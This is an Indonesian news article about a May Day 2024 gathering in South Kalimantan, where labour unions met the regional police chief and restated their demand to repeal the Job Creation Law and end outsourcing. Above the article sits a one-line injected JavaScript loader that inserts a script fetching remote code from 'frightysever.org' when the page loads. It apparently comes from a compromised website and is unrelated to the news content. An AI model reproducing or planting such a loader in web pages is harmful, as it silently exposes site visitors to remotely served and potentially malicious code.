(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Ciptaker Hapus Outsourcing


KANALKALIMANTAN.COM, BANJARMASIN – Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang ada di Provinsi Kalimantan Selatan (Kalsel).

Gabungan organisasi buruh yang ada di Kalsel memilih merayakan May Day dengan melaksanakan halalbihalal bersama Kapolda Kalsel, Irjen Pol Winarto SH MH.

Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI) Kalsel, Serikat Pekerja Seluruh Indonesia (SPSI) Kalsel, dan Federasi Serikat Metal Indonesia (FSMI) Kalsel hadir pada acara yang digelar di salah satu hotel, Rabu (1/5/2024) malam.

Pada acara halalbihalal tersebut hadir juga Kepala Dinas Tenaga Kerja dan Transmigrasi (Kadisnakertrans) Provinsi Kalsel Irfan Sayuti, Kapolresta Banjarmasin Kombes Pol Sabana Atmojo, dan jajaran pejabat tinggi Polda Kalsel.

Baca juga: KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

Kapolda Kalsel, Irjen Winarto mengatakan mengapresiasi atas kerja sama dan hubungan baik yang sudah terjalin selama ini antara institusi kepolisian dengan pekerja buruh yang ada di Provinsi Kalsel.

Pada kesempatan itu, jenderal bintang dua ini juga memastikan jika pada peringatan Hari Buruh tahun 2024 di Provinsi Kalsel dalam kondisi aman dan kondusif.

Kapolda berpesan agar seluruh buruh di Kalsel merayakan peringatan Hari Buruh dengan kegiatan positif, tanpa menghilangkan nilai-nilai perjuangan.

Halalbihalal Kapolda Kalsel Irjen Pol Winarto bersama organisasi buruh saat peringatan Hari Buruh Sedunia, Kamis (1/5/2024) malam. Foto: rizki

Baca juga: Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

“May Day, semangat perjuangan digelorakan tapi rusuhnya ditinggalkan,” kata Irjen Winarto.

Terpisah, Biro Hukum KSPSI Kalsel, Sumarlan mengatakan, meskipun tidak menggelar aksi pada peringatan May Day 2024, pihaknya tetap berkomitmen memperjuangkan hak-hak buruh yang ada di Kalsel.

Terkait dengan Undang-Undang Ciptaker, Sumarlan menegaskan ia dan para buruh yang ada di Kalsel tidak pernah surut untuk menuntut agar dicabut, terutama terkait klaster ketenagakerjaan.

Baca juga: Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

“Hapus outsourcing dan tolak upah murah, ini adalah menjadi satu agenda bagi kami serikat pekerja dan buruh yang ada di Kalsel,” tegasnya.
(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie

 


Risa

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

2 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

3 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

3 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

3 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

7 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

9 jam ago

This website uses cookies.